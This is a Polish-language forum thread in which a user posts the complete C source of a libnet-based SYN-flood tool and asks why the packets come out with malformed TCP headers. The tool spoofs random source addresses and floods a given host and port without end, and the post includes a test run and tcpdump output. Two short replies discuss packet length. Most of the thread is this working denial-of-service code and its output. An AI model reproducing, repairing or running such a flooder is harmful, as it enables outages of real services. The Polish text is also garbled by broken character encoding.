sunsetting
Witam,
mam problem z programem który teoretycznie powinien wykonywac atak synflood na podany address i port.
Kod:
#include <libnet.h>
#define FLOOD_DELAY 5000 // 5000 ms opó¼nienia miêdzy wstrzykniêciami pakietów
/* zwraca adres IP w notacji x.x.x.x */
char *print_ip(u_long *ip_addr_ptr) {
return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
u_long dest_ip;
u_short dest_port;
u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
if(argc < 3)
{
printf("Sposób u¿ycia:\n%s\t <host_docelowy> <port_docelowy>\n", argv[0]);
exit(1);
}
dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // host
dest_port = (u_short) atoi(argv[2]); // port
network = libnet_open_raw_sock(IPPROTO_RAW); // otwórz interfejsy sieciowe
if (network == -1)
libnet_error(LIBNET_ERR_FATAL, "nie mo¿na otworzyæ interfejsu sieciowego. -- ten program musi byæ uruchomiony z uprawnieniami superu¿ytkownika.\n");
libnet_init_packet(packet_size, &packet); // alokuj pamiêæ dla pakietu
if (packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "nie mo¿na zainicjalizowaæ pamiêci pakietu.\n");
libnet_seed_prand(); // ziarno dla generatora liczb losowych
printf("Zalewam pakietami SYN port %d hosta %s..\n", dest_port, print_ip(&dest_ip));
while(1) // pêtla w nieskoñczono¶æ (a¿ do przerwania za pomoc± TRL-C)
{
libnet_build_ip(LIBNET_TCP_H, // rozmiar nag³ówka
IPTOS_LOWDELAY, // IP tos
libnet_get_prand(LIBNET_PRu16), // IP ID (randomizowany)
0, // frag stuff
libnet_get_prand(LIBNET_PR8), // TTL (randomizowany)
IPPROTO_TCP, // protokó³
libnet_get_prand(LIBNET_PRu32), // sourc IP (randomizowany)
dest_ip, // dest IP
NULL, // ³adunek (brak)
0, // d³ugo¶æ ³adunku
packet); // pamieæ nag³ówka pakietu
libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // source TCP port (random)
dest_port, // docelowy port TCP
libnet_get_prand(LIBNET_PRu32), // numer sekwencyjny (randomizowany)
libnet_get_prand(LIBNET_PRu32), // numer potwierdzenia (randomizowany)
TH_SYN, // znczniki steruj±ce flags (ustawiony jest tylko SYN)
libnet_get_prand(LIBNET_PRu16), // rozmiar okna (randomizowany)
0, // wksa¼nik pilno¶ci
NULL, // ³adunek (brak)
0, // d³ugo¶æ ³adunku
packet + LIBNET_IP_H); // pamiêæ nag³ówka pakietu
if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "nie mo¿na obliczyæ sumy kontrolnej\n");
byte_count = libnet_write_ip(network, packet, packet_size); // inject packet
if (byte_count < packet_size)
libnet_error(LIBNET_ERR_WARNING, "Uwaga: Zapisano niepe³ny pakiet. (%d z %d bajtów)", byte_count, packet_size);
usleep(FLOOD_DELAY); // odczekaj FLOOD_DELAY milisekund
}
libnet_destroy_packet(&packet); // zwolnij pamiêæ pakietu
if (libnet_close_raw_sock(network) == -1) // zamknij interfejs sieciowy
libnet_error(LIBNET_ERR_WARNING, "nie mo¿na zamkkn±æ interfejsu sieciowego.");
return 0;
}
./synflood 192.168.0.2 21
daje output w tcpdump:
tcpdump -nlvv -c 10 "dst 192.168.0.2"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 68 bytes
19:23:43.669095 IP (tos 0x10, ttl 106, id 49310, offset 0, flags [none], proto TCP (6), length 40) 252.5.85.76.10034 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.674179 IP (tos 0x10, ttl 175, id 37554, offset 0, flags [none], proto TCP (6), length 40) 211.205.9.50.41722 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.679255 IP (tos 0x10, ttl 43, id 17951, offset 0, flags [none], proto TCP (6), length 40) 241.95.228.37.15623 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.684332 IP (tos 0x10, ttl 210, id 28792, offset 0, flags [none], proto TCP (6), length 40) 158.62.30.43.12400 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.689411 IP (tos 0x10, ttl 191, id 56325, offset 0, flags [none], proto TCP (6), length 40) 150.244.84.85.63175 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.694493 IP (tos 0x10, ttl 29, id 40441, offset 0, flags [none], proto TCP (6), length 40) 196.129.112.71.57291 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.699572 IP (tos 0x10, ttl 165, id 710, offset 0, flags [none], proto TCP (6), length 40) 225.18.5.44.261 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.704651 IP (tos 0x10, ttl 132, id 48651, offset 0, flags [none], proto TCP (6), length 40) 55.168.212.116.50117 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.709728 IP (tos 0x10, ttl 79, id 29749, offset 0, flags [none], proto TCP (6), length 40) 244.98.186.119.49365 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.714809 IP (tos 0x10, ttl 204, id 14237, offset 0, flags [none], proto TCP (6), length 40) 237.113.235.110.29471 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
10 packets captured
10 packets received by filter
0 packets dropped by kernel
nie wiem w czym moze lezec blad: tcp 20 [bad hdr length 0 - too short, < 20]
kernel 2.6.31 64 bit
gcc 4.3.4
libnet-1.0
Bede wdzieczny za kazda konstruktywna podpowiedz ;]
Jako d³ugo¶æ pakietu podajesz d³ugo¶æ ca³ego pakietu TCP, a nie ilo¶æ danych przesy³anych przez ten pakiet. Nie jestem do koñca pewien, ale sprawd¼ dok³adnie jaka powinna byæ d³ugo¶æ.
D³ugosc ca³ego pakietu powinna byc rowna 40 bajtow z czego 20 na hdr IP i 20 na TCP, niestety nie widze miejsca w kodzie, ktore powodowalo by uszkadzanie pakietu.